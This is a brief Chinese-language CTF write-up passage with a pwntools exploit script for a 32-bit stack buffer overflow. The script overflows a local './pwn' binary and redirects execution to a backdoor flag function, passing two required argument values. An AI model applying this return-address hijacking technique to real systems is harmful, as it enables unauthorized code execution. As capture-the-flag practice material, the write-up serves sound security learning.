需要注意的是,flag函数处需要满足两个条件才能将flag正确输出,p32(0x080483aa)作为返回地址,后面跟上需要满足的条件
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3  

from pwn import *

context.update(os='linux', arch='i386', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

backdoor = 0x08048586
offset = 0x6C + 0x04

payload = b'a' * offset + p32(backdoor) + p32(0x080483aa) + p32(876) + p32(877)
# gdb.attach(sh, 'b *0x0804924D')
sh.sendline(payload)
sh.interactive()